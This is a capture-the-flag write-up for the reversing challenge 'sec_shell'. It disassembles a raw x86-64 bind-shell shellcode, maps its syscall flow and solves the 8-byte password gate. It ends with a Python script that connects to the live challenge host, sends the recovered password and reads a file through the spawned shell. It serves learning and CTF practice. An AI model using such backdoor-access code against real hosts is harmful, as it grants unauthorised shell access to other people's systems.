sec_shell
sec_shell
Platform: CUSTOM | Category: Reversing | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: capstone_disassembly, network_exploitation, per_byte_constraint_solving, ror_transform_reversal, syscall_identification
Summary
Walkthrough of the CUSTOM Reversing sec_shell. Task: 209-byte raw x86-64 Linux bind-shell shellcode with an 8-byte password gate before execve(/bin/sh). Solution: disassemble with capstone, reverse the ror-based per-byte XOR check into a position-
Overview
A raw 209-byte x86-64 Linux shellcode plants a bind-shell backdoor on the
compromised host. The backdoor listens on TCP 11538 and gates access with an
8-byte password check before spawning /bin/sh. Reversing the password check
yields *7&d21k$; connecting to the live service with that password gives a
shell and the flag.
Description
forkbomb.ru was hacked. A strange listening port was noticed:
tcp6 0 0 :::11538 :::* LISTENThe malware uses a shellcode to plant a foothold. Shellcode: https://rev-kids20.forkbomb.ru/files/rev/new8/secshell_shellcode.bin Goal: get a shell on the system to prove compromise.
Artifact: secshell_shellcode.bin — 209 bytes, file reports data (raw
shellcode, no ELF header).
Recon
The file is a raw code blob, so a normal objdump on macOS is inconvenient
(-b binary is unsupported). Disassemble directly with capstone in 64-bit mode:
python read-only • copy allowedimport capstone data = open('secshell_shellcode.bin', 'rb').read() md = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64) for i in md.disasm(data, 0): print('%04x: %-24s %s %s' % (i.address, i.bytes.hex(), i.mnemonic, i.op_str))
Shellcode Analysis
The disassembly reveals a classic bind-shell syscall flow (x86-64 Linux syscall numbers in parentheses):
- socket(AF_INET, SOCK_STREAM) — syscall
0x29. - bind() — syscall
0x31. The port is stored in network byte order on the stack, starting at4444(0x115c). A retry loop byte-swaps and increments the port (ror bx,8/inc rbx) untilbind()succeeds. This is why the observed port drifted to11538— lower ports were already taken, so the loop kept incrementing. - listen() — syscall
0x32. - accept() — syscall
0x2b. - read() — syscall
0. Reads exactly 8 bytes from the client intorbx(the password). - Password check (see below). On failure → exit(0) (syscall
0x3c). - On success → dup2() the client socket onto fd 0/1/2 (syscall
0x21, looprsi = 2..0), then execve("//bin/sh", NULL, NULL) — syscall0x3b.rdipoints to//bin/sh, pushed on the stack as the qword0x68732f6e69622f2f.
Syscall flow summary
| Step | Syscall | Number |
|---|---|---|
| socket | sys_socket | 0x29 |
| bind | sys_bind | 0x31 |
| listen | sys_listen | 0x32 |
| accept | sys_accept | 0x2b |
| read | sys_read | 0x00 |
| fail | sys_exit | 0x3c |
| dup2 | sys_dup2 | 0x21 |
| shell | sys_execve | 0x3b |
Password Recovery
Read 8 bytes → rbx. Two constants are baked into the shellcode:
K = 0x3546364654acbbc7TARGET = 0x11d2f874308a73ed
The check loops 8 times. Each iteration rotates both registers by 8 bits in
lockstep (ror rbx,8, ror rax,8), then mixes the current low byte bl into
al:
if (bl & 1): bl = ~bl; al ^= bl
else: al ^= bl
After the loop, rax must equal TARGET.
Key insight: because rax and rbx rotate together in lockstep, every input
byte lines up with a fixed byte of K and a fixed byte of TARGET. The check is
therefore position-independent and decomposes into 8 independent per-byte
constraints:
K[j] ^ f(b[j]) == T[j] where f(b) = (~b & 0xFF) if (b & 1) else b
Solving each byte independently:
python read-only • copy allowedK = 0x3546364654acbbc7 TARGET = 0x11d2f874308a73ed Kb = [(K >> (8 * i)) & 0xFF for i in range(8)] Tb = [(TARGET >> (8 * i)) & 0xFF for i in range(8)] res = [] for j in range(8): want = Kb[j] ^ Tb[j] for b in range(256): fb = ((~b) & 0xFF) if (b & 1) else b if fb == want: res.append(b) break print(bytes(res)) # b'*7&d21k$'
Recovered password: *7&d21k$ (re-simulating the original check confirms it
produces TARGET).
Exploitation
forkbomb.ru resolves to 109.233.56.90. Connect to the live bind-shell on
11538, send the 8-byte password, then drive the resulting /bin/sh:
python read-only • copy allowedimport socket, time s = socket.socket(); s.settimeout(8); s.connect(('forkbomb.ru', 11538)) s.sendall(b'*7&d21k$'); time.sleep(0.5) s.sendall(b'cat /app/flag.txt\n'); time.sleep(1.5) print(s.recv(4096).decode())
The shell runs as uid=65534 (nobody). The flag was at /app/flag.txt.
Key Takeaways / Lessons
- Mastering capstone_disassembly, network_exploitation, per_byte_constraint_solving, ror_transform_reversal, syscall_identification was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-07-02 • CUSTOM • sec_shell • Difficulty: Medium